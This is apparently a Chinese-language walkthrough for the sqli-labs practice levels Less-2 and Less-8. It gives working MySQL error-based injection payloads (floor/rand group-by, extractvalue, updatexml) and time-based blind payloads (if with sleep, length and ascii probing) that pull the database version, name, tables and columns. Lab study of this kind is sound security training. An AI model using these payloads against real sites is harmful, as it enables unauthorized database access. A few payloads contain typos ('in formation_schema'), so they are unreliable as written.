一、报错注入
1、判断是否存在报错
http://192.168.77.128/sqli/Less-2/?id=1'
2、group by 虚拟表主键重复冲突
查看数据库版本号
http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select version()),0x23,floor(rand(0)*2))x from in formation_schema.tables group by x)a limit 1)
运行结果:
获取数据库名称
http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select database()),0x23,floor(rand(0)*2))x from in formation_schema.tables group by x)a limit 1)
3、extractvalue()函数
获取sercurity数据库中的表名,通过修改limit后面的数字获取该数据库不同的表名
http://192.168.77.128/sqli/Less-2/?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))
4、updatexml()函数
获取user表名中的字段,通过修改limit后面的数字获取该数据库不同的字段
http://192.168.77.128/sqli/Less-2/?id=1 and updatexml(2,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23),1)
二、延时注入
1、判断字符注入
http://192.168.77.128/sqli/Less-8/?id=1' and 1=2 --+ 报错
http://192.168.77.128/sqli/Less-8/?id=1' and 1=1 --+ 正常
2、判断是否存在延时
http://192.168.77.128/sqli/Less-8/?id=1' and sleep(5) --+ 延长5秒再执行
http://192.168.77.128/sqli/Less-8/?id=1 and sleep(5) --+ 没有延长
3、if与sleep结合使用
if(exp1,exp2,exp3):如果exp1为真,返回exp2,否则返回exp3
4、判断数据库长度
http://192.168.77.128/sqli/Less-8/?id=1' and if(length(database())>=8,sleep(5),1) --+
5、判断数据库名字的第一个字母
http://192.168.77.128/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
延时5秒,说明数据库的第一个字母的ASCII码为115,即s
6、根据以前内容,可以获取表名和字段名。
禁止非法,后果自负